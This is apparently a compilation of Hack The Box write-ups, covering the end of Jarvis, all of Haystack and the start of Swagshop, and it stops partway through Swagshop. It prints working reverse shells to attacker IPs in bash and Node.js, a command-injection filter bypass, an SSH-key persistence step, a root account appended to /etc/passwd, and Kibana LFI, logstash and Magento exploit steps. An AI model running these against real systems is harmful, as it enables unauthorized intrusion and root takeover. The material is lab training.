            if int(j.split(' ')[4]) > int(level):
                level = j.split(' ')[4]
                req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
    return level, req

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

if __name__ == '__main__':
    show_header()
    if len(sys.argv) != 2:
        show_help()
        exit()
    if sys.argv[1] == '-h' or sys.argv[1] == '--help':
        show_help()
        exit()
    elif sys.argv[1] == '-s':
        show_statistics()
        exit()
    elif sys.argv[1] == '-l':
        list_ip()
        exit()
    elif sys.argv[1] == '-p':
        exec_ping()
        exit()
    else:
        show_help()
        exit()
www-data@jarvis:/home/pepper$

The most interesting function in this script is exec_ping:

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

It takes our input (it assumes that it’s an ip) and executes ping on it, to prevent command injection it checks for these characters:

& ; - ` || |

However, It doesn’t check for the dollar sign ($), the dollar sign can be used to execute commands like this: $(command)
So for example if we do ping -c 1 $(echo 127.0.0.1)echo 127.0.0.1 will be executed first then the ping command will be executed:

root@kali:~/Desktop/HTB/boxes/jarvis# ping -c 1 $(echo 127.0.0.1)
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.072 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.072/0.072/0.072/0.000 ms
root@kali:~/Desktop/HTB/boxes/jarvis#

ping -c 1 $(whoami) will result in an error message because it will try to ping root which is not a valid hostname:

root@kali:~/Desktop/HTB/boxes/jarvis#  ping -c 1 $(whoami)
ping: unknown host root
root@kali:~/Desktop/HTB/boxes/jarvis# 

So we can simply do $(bash) and we’ll get a shell:

www-data@jarvis:/home/pepper$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                
***********************************************

Enter an IP: $(bash)
pepper@jarvis:~$ 

When I ran commands I didn’t get any output:

pepper@jarvis:~$ id
pepper@jarvis:~$ cat user.txt 
pepper@jarvis:~$ ls -la
pepper@jarvis:~$ 

So I executed a reverse shell command (I used the same payload I used before) and got a reverse shell as pepper:

root@kali:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1338
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1338
Ncat: Listening on 0.0.0.0:1338
Ncat: Connection from 10.10.10.143.
Ncat: Connection from 10.10.10.143:40124.
$ python -c "import pty;pty.spawn('/bin/bash')"
pepper@jarvis:~$ ^Z
[1]+  Stopped                 nc -lvnp 1338
root@kali:~/Desktop/HTB/boxes/jarvis# stty raw -echo
root@kali:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1338

pepper@jarvis:~$ export TERM=screen
pepper@jarvis:~$ id
uid=1000(pepper) gid=1000(pepper) groups=1000(pepper)
pepper@jarvis:~$ ls -al
total 32
drwxr-xr-x 4 pepper pepper 4096 Mar  5  2019 .
drwxr-xr-x 3 root   root   4096 Mar  2  2019 ..
lrwxrwxrwx 1 root   root      9 Mar  4  2019 .bash_history -> /dev/null
-rw-r--r-- 1 pepper pepper  220 Mar  2  2019 .bash_logout
-rw-r--r-- 1 pepper pepper 3526 Mar  2  2019 .bashrc
drwxr-xr-x 2 pepper pepper 4096 Mar  2  2019 .nano
-rw-r--r-- 1 pepper pepper  675 Mar  2  2019 .profile
drwxr-xr-x 3 pepper pepper 4096 Mar  4  2019 Web
-r--r----- 1 root   pepper   33 Mar  5  2019 user.txt
pepper@jarvis:~$

We owned user.

For Easier SSH access next time

pepper@jarvis:~$ mkdir .ssh
mkdir .ssh
pepper@jarvis:~$ chmod 700 .ssh
chmod 700 .ssh
pepper@jarvis:~$ cd .ssh
cd .ssh
pepper@jarvis:~/.ssh$ touch authorized_keys
touch authorized_keys
pepper@jarvis:~/.ssh$ chmod 600 authorized_keys
chmod 600 authorized_keys
pepper@jarvis:~/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0+5LQji/cUojuN22MGzaN7NQskxauMcA5i+raeKkg2XT5lPGlXv6QuOmidrHorwWJYIYSq7RtL8HB6OODI31yvbcheE/LvW3kIZUeh19N81MQZbLeNhhVGALWSFdGW8YQY+DHESIl4UsqtTTUC7d3Ov0aPXUb+SOq0z3OOwGTK0LNBtD7e1SmdIS8Yb0gMt85DMBWx9uh68DzZipCOhYo4OrikCgFz4YwuERn71N5e7+DLV9TpLA7Y9lgUzYXSXrakDCzk4c0GPSjGKGyj2fHVmFsl5ZGDYqMIN8G/WqkOAgOItGqo0jz6tKzSII7ragaNiUdzenO7CZfTApVjlkT " > authorized_keys
<tKzSII7ragaNiUdzenO7CZfTApVjlkT " > authorized_keys
pepper@jarvis:~/.ssh$ cat authorized_keys
cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0+5LQji/cUojuN22MGzaN7NQskxauMcA5i+raeKkg2XT5lPGlXv6QuOmidrHorwWJYIYSq7RtL8HB6OODI31yvbcheE/LvW3kIZUeh19N81MQZbLeNhhVGALWSFdGW8YQY+DHESIl4UsqtTTUC7d3Ov0aPXUb+SOq0z3OOwGTK0LNBtD7e1SmdIS8Yb0gMt85DMBWx9uh68DzZipCOhYo4OrikCgFz4YwuERn71N5e7+DLV9TpLA7Y9lgUzYXSXrakDCzk4c0GPSjGKGyj2fHVmFsl5ZGDYqMIN8G/WqkOAgOItGqo0jz6tKzSII7ragaNiUdzenO7CZfTApVjlkT 
pepper@jarvis:~/.ssh$ 

.

root@kali:~/htb/jarvis# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): ./jarvis_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ./jarvis_rsa.
Your public key has been saved in ./jarvis_rsa.pub.
The key fingerprint is:
SHA256:cpFcuepmUeVN83IFzhKMDvuWZ4l9zYxIV8u5vdGIy6s root@kali
The key's randomart image is:
+---[RSA 2048]----+
| .+. .. |
| ..oo o+o o|
| ++ +.o+++|
| ..+ o.++o|
| . S+ = = O+|
| oo = B +o*|
| . o + o o|
| + o . |
| o E... |
+----[SHA256]-----+

root@kali:~/htb/jarvis# ssh -i jarvis_rsa pepper@10.10.10.143
The authenticity of host '10.10.10.143 (10.10.10.143)' can't be established.
ECDSA key fingerprint is SHA256:oPoKu2vmqVfC1e3TJJ5ZB8yL/2/W2YIrglCm8FTTuSs.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.10.143' (ECDSA) to the list of known hosts.
Linux jarvis 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Mar 5 10:23:48 2019 from 172.16.204.1
pepper@jarvis:~$ 



Systemctl: suid –> Root Shell –> Root Flag

When I checked the suid binaries I saw systemctl:

pepper@jarvis:~$ find / -perm -4000 2>/dev/null 
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
pepper@jarvis:~$ 

systemctl may be used to introspect and control the state of the “systemd” system and service manager. –man7.org

To verify that it can be abused I checked gtfobins and found a page for it.
We need to create a service that executes a file of our choice when it starts, then we’ll use systemctl to enable and start it and the file will get executed as root.
I created a service that executes /dev/shm/root.sh:

[Unit]
Description=pwned

[Service]
ExecStart=/dev/shm/root.sh

[Install]
WantedBy=multi-user.target

And I created /dev/shm/root.sh which echoes:

rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash

to /etc/passwd to enable us to su as root with the credentials rooot : AAAA. (Check Ghoul).

pepper@jarvis:/dev/shm$ nano root.service
pepper@jarvis:/dev/shm$ cat root.service
[Unit]
Description=pwned

[Service]
ExecStart=/dev/shm/root.sh

[Install]
WantedBy=multi-user.target
pepper@jarvis:/dev/shm$ nano root.sh
pepper@jarvis:/dev/shm$ chmod +x root.sh
pepper@jarvis:/dev/shm$ cat root.sh
#!/bin/bash
echo 'rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash' >> /etc/passwd
pepper@jarvis:/dev/shm$ 

I enabled the service and started it:

pepper@jarvis:/dev/shm$ systemctl enable /dev/shm/root.service
Created symlink /etc/systemd/system/multi-user.target.wants/root.service -> /dev/shm/root.service.
Created symlink /etc/systemd/system/root.service -> /dev/shm/root.service.
pepper@jarvis:/dev/shm$ systemctl start root.service
pepper@jarvis:/dev/shm$

Now if we check /etc/passwd we’ll see that it has been modified:

pepper@jarvis:/dev/shm$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
pepper:x:1000:1000:,,,:/home/pepper:/bin/bash
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash
pepper@jarvis:/dev/shm$
pepper@jarvis:/dev/shm$ su rooot 
Password: 
root@jarvis:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root)
root@jarvis:/dev/shm# whoami
root
root@jarvis:/dev/shm# cd /root/
root@jarvis:~# ls -al
total 52
drwx------  6 root root 4096 Mar  5  2019 .
drwxr-xr-x 23 root root 4096 Mar  3  2019 ..
lrwxrwxrwx  1 root root    9 Mar  4  2019 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x  4 root root 4096 Mar  3  2019 .cache
-rwxr--r--  1 root root   42 Mar  4  2019 clean.sh
drwxr-xr-x  3 root root 4096 Mar  3  2019 .config
drwxr-xr-x  3 root root 4096 Mar  3  2019 .local
lrwxrwxrwx  1 root root    9 Mar  4  2019 .mysql_history -> /dev/null
drwxr-xr-x  2 root root 4096 Mar  2  2019 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
lrwxrwxrwx  1 root root    9 Mar  4  2019 .python_history -> /dev/null
-r--------  1 root root   33 Mar  5  2019 root.txt
-rw-r--r--  1 root root   66 Mar  4  2019 .selected_editor
-rwxr-xr-x  1 root root 5271 Mar  5  2019 sqli_defender.py
root@jarvis:~# 

And we owned root !

All credits to : https://0xrick.github.io/hack-the-box/jarvis/

Alternative service privesc way:

On /lib/systemd/system or /etc/systemd/system there’s no write permissions so participants will have to know how to create a service using the link option:
–> Link a unit file that is not in the unit file search paths into the unit file search path.
This command expects an absolute path to a unit file.

pepper@jarvis:~$ cat puck.sh
bash -i >& /dev/tcp/10.10.16.70/8080 0>&1
pepper@jarvis:~$ systemctl link /home/pepper/evil2.service
Created symlink /etc/systemd/system/evil2.service → /home/pepper/evil2.service.
pepper@jarvis:~$ systemctl start evil2.service
pepper@jarvis:~$ cat evil2.service
[Unit]
Description=Mal Daemon

[Service]
ExecStart=/home/pepper/puck.sh

[Install]
WantedBy=multi-user.target

pepper@jarvis:~$

.

root@kali:~# nc -lvp 8080
listening on [any] 8080 ...
10.10.10.143: inverse host lookup failed: Unknown host
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.143] 38116
bash: cannot set terminal process group (16859): Inappropriate ioctl for device
bash: no job control in this shell
root@jarvis:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@jarvis:/# cat /root/root.txt
cat /root/root.txt
d41*****271

.

HTB – Haystack

Today we are going to solve another CTF challenge “Haystack” which is available online for those who want to increase their skill in penetration testing and black box testing. Node is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Easy

Task: find user.txt and root.txt file on victim’s machine.

c:\PENTEST>nmap -sV -sT -sC 10.10.10.115
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-14 13:31 W. Europe Standard Time
Stats: 0:00:44 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 68.65% done; ETC: 13:32 (0:00:13 remaining)
Nmap scan report for 10.10.10.115
Host is up (0.025s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
| 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open http nginx 1.12.2
| http-methods:
|_ Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.75 seconds

 

Web Enumeration

On port 80 the index page had an image of a needle and nothing else:

<html>
<body>
<img src="needle.jpg" />
</body>
</html>

On port 9200 there was an elasticsearch instance running:

c:\PENTEST>curl http://10.10.10.115:9200/
{
"name" : "iQEYHgS",
"cluster_name" : "elasticsearch",
"cluster_uuid" : "pjrX7V_gSFmJY-DxP4tCQg",
"version" : {
"number" : "6.4.2",
"build_flavor" : "default",
"build_type" : "rpm",
"build_hash" : "04711c2",
"build_date" : "2018-09-26T13:34:09.098244Z",
"build_snapshot" : false,
"lucene_version" : "7.4.0",
"minimum_wire_compatibility_version" : "5.6.0",
"minimum_index_compatibility_version" : "5.0.0"
},
"tagline" : "You Know, for Search"
}

Elasticsearch is a distributed, RESTful search and analytics engine capable of addressing a growing number of use cases. As the heart of the Elastic Stack, it centrally stores your data so you can discover the expected and uncover the unexpected. –elastic.co

On port 80 I tried running gobuster but I got nothing:

Steg in needle.jpg, SSH creds from elasticsearch, User Flag

I downloaded the image from the index page to check if there’s any kind of steganography:

root@kali:~/Desktop/HTB/boxes/haystack# wget http://haystack.htb/needle.jpg
--2019-11-01 17:48:29--  http://haystack.htb/needle.jpg
Resolving haystack.htb (haystack.htb)... 10.10.10.115
Connecting to haystack.htb (haystack.htb)|10.10.10.115|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 182982 (179K) [image/jpeg]
Saving to: ‘needle.jpg’

needle.jpg                                           100%[=====================================================================================================================>] 178.69K  80.2KB/s    in 2.2s    
2019-11-01 17:48:32 (80.2 KB/s) - ‘needle.jpg’ saved [182982/182982]
root@kali:~/Desktop/HTB/boxes/haystack# 

By running strings on the image I found a base-64 encoded string:

root@kali:~/Desktop/HTB/boxes/haystack# strings needle.jpg
JFIF
Exif
paint.net 4.1.1
UNICODE
---
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==

After decoding it I got a Spanish sentence:

root@kali:~/Desktop/HTB/boxes/haystack# echo bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg== | base64 -d
la aguja en el pajar es "clave"
root@kali:~/Desktop/HTB/boxes/haystack# 

Translation:

la aguja en el pajar es "clave" => the needle in the haystack is "key"

Back to the elasticsearch instance I searched for the word clave and got some interesting quotes in Spanish with some base-64 encoded strings:

c:\PENTEST>curl http://10.10.10.115:9200/_search?q=clave
{"took":42,"timed_out":false,"_shards":{"total":11,"successful":11,"skipped":0,"failed":0},"hits":{"total":2,"max_score":5.9335938,"hits":[{"_index":"quotes","_type":"quote","_id":"45","_score":5.9335938,"_source":{"quote":"Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "}},{"_index":"quotes","_type":"quote","_id":"111","_score":5.3459888,"_source":{"quote":"Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="}}]}}

After translation and decoding:

Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg => I have to save the password for the machine: user: security

Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk= => This key cannot be lost, I keep it here: pass: spanish.is.key

We can ssh into the box with these creds security : spanish.is.key:

We owned user.


Shell as kibana

After getting ssh access I ran pspy to monitor the processes, I noticed that logstash was running as root:


Logstash is an open source, server-side data processing pipeline that ingests data from a multitude of sources simultaneously, transforms it, and then sends it to your favorite “stash.” –elastic.co

But as security I couldn’t read the configuration files of logstash:

[security@haystack tmp]$ cd /etc/logstash/conf.d/
[security@haystack conf.d]$ ls -al
total 12
drwxrwxr-x. 2 root kibana  62 Jun 24 08:12 .
drwxr-xr-x. 3 root root   183 Jun 18 22:15 ..
-rw-r-----. 1 root kibana 131 Jun 20 10:59 filter.conf
-rw-r-----. 1 root kibana 186 Jun 24 08:12 input.conf
-rw-r-----. 1 root kibana 109 Jun 24 08:12 output.conf
[security@haystack conf.d]$ cat input.conf 
cat: input.conf: Permission denied
[security@haystack conf.d]$ cat filter.conf 
cat: filter.conf: Permission denied
[security@haystack conf.d]$ cat output.conf 
cat: output.conf: Permission denied
[security@haystack conf.d]$ 

As you can see, the user kibana can read them, so we need to be kibana and to be the user kibana we have to exploit the service itself.
By looking at the open ports we can see that port 5601 which is the default port for kibana is open:

[security@haystack conf.d]$ ss -lnt
State       Recv-Q Send-Q                                                            Local Address:Port                                                                           Peer Address:Port               
LISTEN      0      128                                                                           *:80                                                                                        *:*                  
LISTEN      0      128                                                                           *:9200                                                                                      *:*                  
LISTEN      0      128                                                                           *:22                                                                                        *:*                  
LISTEN      0      128                                                                   127.0.0.1:5601                                                                                      *:*                  
LISTEN      0      128                                                            ::ffff:127.0.0.1:9000                                                                                     :::*                  
LISTEN      0      128                                                                          :::80                                                                                       :::*                  
LISTEN      0      128                                                            ::ffff:127.0.0.1:9300                                                                                     :::*                  
LISTEN      0      128                                                                          :::22                                                                                       :::*                  
LISTEN      0      50                                                             ::ffff:127.0.0.1:9600                                                                                     :::*                  
[security@haystack conf.d]$ 

Kibana lets you visualize your Elasticsearch data and navigate the Elastic Stack so you can do anything from tracking query load to understanding the way requests flow through your apps. –elastic.co

I forwarded the port:

PS C:\Users\jacco> ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 security@10.10.10.115's password: spanish.is.key
Last login: Thu Nov 14 08:43:20 2019 from 10.10.14.82
Last login: Thu Nov 14 08:43:20 2019 from 10.10.14.82
[security@haystack ~]$

I checked the version and found that it was 6.4.2:
After a quick search I found that this version is vulnerable to a local file inclusion vulnerability.
So I uploaded a js shell to /dev/shm:

[security@haystack conf.d]$ cd /dev/shm/
[security@haystack shm]$ curl http://10.10.xx.xx/shell.js > shell.js
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   383  100   383    0     0    382      0  0:00:01  0:00:01 --:--:--   383
[security@haystack shm]$

shell.js:

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(1337, "10.10.xx.xx", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

Then I applied the POC and got a reverse shell as kibana:

[security@haystack shm]$ curl 'http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js'

of course we can run this curl over the ssh tunnel ( note for java reverse shell, i needed to copy rev.js to rev2.js ( it only works once with 1 name caching thing on server likely)

root@kali:~/htb# curl 'http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev2.js'
root@kali:~/htb# rlwrap nc -lvp 1337
listening on [any] 1337 ...
10.10.10.115: inverse host lookup failed: Unknown host
connect to [10.10.14.82] from (UNKNOWN) [10.10.10.115] 37192
id
uid=994(kibana) gid=992(kibana) grupos=992(kibana) contexto=system_u:system_r:unconfined_service_t:s0
whoami
kibana
python -c "import pty;pty.spawn('/bin/bash')"
bash-4.2$

Exploiting logstash, Root Shell

Now we can read the configuration files:

bash-4.2$ cd /etc/logstash/conf.d/
bash-4.2$ cat *
filter {
        if [type] == "execute" {
                grok {
                        match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
                }
        }
}
input {
        file {
                path => "/opt/kibana/logstash_*"
                start_position => "beginning"
                sincedb_path => "/dev/null"
                stat_interval => "10 second"
                type => "execute"
                mode => "read"
        }
}
output {
        if [type] == "execute" {
                stdout { codec => json }
                exec {
                        command => "%{comando} &"
                }
        }
}
bash-4.2$ 

By reading the input and filter configuration files and with the help of the documentation we will figure out what to do.
We need to create an input file of the type execute and put whatever command we need to execute in it, to create a valid execute input file it needs to be in /opt/kibana/ and named according to the following pattern logstash_[Anything]:

input {
        file {
                path => "/opt/kibana/logstash_*"
                ---
                type => "execute"
        }

It also needs to pass the filter, we need to put Ejecutar comando : (translates to: Execute command :) before the command:

filter {
        if [type] == "execute" {
                grok {
                        match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
                }
        }
}

It uses the “exec” plugin to execute the command specified by the “comando” variable.  This can be set to any command which will get executed within 10 seconds. Let’s try running whoami to see which user we’re running as. we output of the command whoami to /tmp/user. Checking after a few seconds, we see

bash-4.2$ ls -la
ls -la
total 12
drwxrwxr-x. 2 root kibana 62 jun 24 08:12 .
drwxr-xr-x. 3 root root 183 jun 18 22:15 ..
-rw-r-----. 1 root kibana 131 jun 20 10:59 filter.conf
-rw-r-----. 1 root kibana 186 jun 24 08:12 input.conf
-rw-r-----. 1 root kibana 109 jun 24 08:12 output.conf
bash-4.2$ echo 'Ejecutar comando : whoami > /tmp/user' > /opt/kibana/logstash_execute
<mando : whoami > /tmp/user' > /opt/kibana/logstash_execute
bash-4.2$ cat /tmp/user
cat /tmp/user
root
bash-4.2$

Next I did run a

bash-4.2$ echo 'Ejecutar comando: bash -i >& /dev/tcp/10.10.14.82/4444 0>&1' > /opt/kibana/logstash_exec
</10.10.14.82/4444 0>&1' > /opt/kibana/logstash_exec
bash-4.2$

and catched the root shell

C:\Users\jacco>nc -lvp 4444
listening on [any] 4444 ...
10.10.10.115: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.82] from (UNKNOWN) [10.10.10.115] 42972: NO_DATA
bash: no hay control de trabajos en este shell
[root@haystack /]# id
id
uid=0(root) gid=0(root) grupos=0(root) contexto=system_u:system_r:unconfined_service_t:s0
[root@haystack /]# cd /root
cd /root
[root@haystack ~]# ls
ls
anaconda-ks.cfg
root.txt
vmware-tools
[root@haystack ~]# cat root.txt
cat root.txt
3f5*****d92
[root@haystack ~]#

Credits to : https://0xrick.github.io/hack-the-box/haystack/

Author : Jacco Straathof

HTB – Swagshop

Today we are going to solve another CTF challenge “Swagshop” which is available online for those who want to increase their skill in penetration testing and black box testing. Node is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Easy

Task: find user.txt and root.txt file on victim’s machine.

c:\PENTEST>nmap -Pn -sC -sV 10.10.10.140
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-13 16:08 W. Europe Standard Time
Stats: 0:00:11 elapsed; 0 hosts completed (0 up), 0 undergoing Host Discovery
Parallel DNS resolution of 1 host. Timing: About 0.00% done
Stats: 0:00:12 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 0.05% done
Nmap scan report for 10.10.10.140
Host is up (0.027s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
|   256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_  256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home page
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.64 seconds

Based on the ssh and Apache Versions, the host is likely Ubuntu Xenial (16.04).

Website – TCP 80

Site is a Magento store for HTB:

1557609497532

Directory Brute Force

gobuster finds a bunch of paths, but all seems related to Magento.

root@kali:~/htb# gobuster dir -w /usr/share/wordlists/dirb/common.txt -x php -t 50 -u http://10.10.10.140/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.140/
[+] Threads:        50
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
===============================================================
2019/11/13 10:25:46 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/.hta (Status: 403)
/.hta.php (Status: 403)
/app (Status: 301)
/api.php (Status: 200)
/cron.php (Status: 200)
/errors (Status: 301)
/favicon.ico (Status: 200)
/includes (Status: 301)
/index.php (Status: 200)
/install.php (Status: 200)
/index.php (Status: 200)
/js (Status: 301)
/lib (Status: 301)
/media (Status: 301)
/pkginfo (Status: 301)
/server-status (Status: 403)
/shell (Status: 301)
/skin (Status: 301)
/var (Status: 301)
===============================================================
2019/11/13 10:25:56 Finished
===============================================================

At the bottom of the page, I notice the copyright date of 2014:

1568274284636

That’s interesting, as if it’s that old, it should be vulnerable to a lot of exploits. Looing around at common Magento paths, I’ll see a different date on /index.php/admin/:

1568274514407

I can also check /RELEASE_NOTES.txt, but it only gives release notes up to version 1.7.0.2, and then it gives a url to visit for later version release notes, so this isn’t helpful:

1568274800685

All of this leads me to the conclusion that I don’t really know what version is running, but that I have a hunch that it could be older.

Shell as www-data

Add Admin Login

Looking at both Google and searchsploit, I’l find a bunch of exploits for Magento. First, I’ll use one called “shoplift” exploit to add an admin user. I’ll download the python script from https://github.com/puckiestyle/python/blob/master/magento_createuser.py  ,and run it:

root@kali:~/htb/swagshop# python  magento_createuser.py http://10.10.10.140
WORKED
Check http://10.10.10.140/admin with creds puck:iestyle
 

I can verify these creds by logging in at http://10.10.10.140/index.php/admin:

RCE #1 – PHP Object Injection

Now that I’m authenticated as administer, there’s another exploit that will come in handy that I found with searchsploit:

The authenticated RCE python script looked the most interesting.

For background on this bug, it’s a PHP Object Injection vulnerability, detailed by one of the researchers who found it here. PHP Object Injection is a class of bugs that falls under deserialization vulnerabilities. Basically, the server passes a php object into the page, and when the browser submits back to the server, it sends that object as a parameter. To prevent evil users from messing with the object, Magento uses a keyed hash to ensure integrity. However, the key for the hash is the install data, which can be retrieved from /app/etc/local.xml. This means that once I have that date, I can forge signed objects and inject my own code, which leads to RCE.

I’ll make a copy of the POC from searchsploit -m exploits/php/webapps/37811.pyIn the config section, I’ll have to update 3 fields:

# Config.
username = 'puckie'
password = 'style'
php_function = 'system'  # Note: we can only pass 1 argument to the function
install_date = 'Wed, 08 May 2019 07:23:09 +0000'  # This needs to be the exact date from /app/etc/local.xml

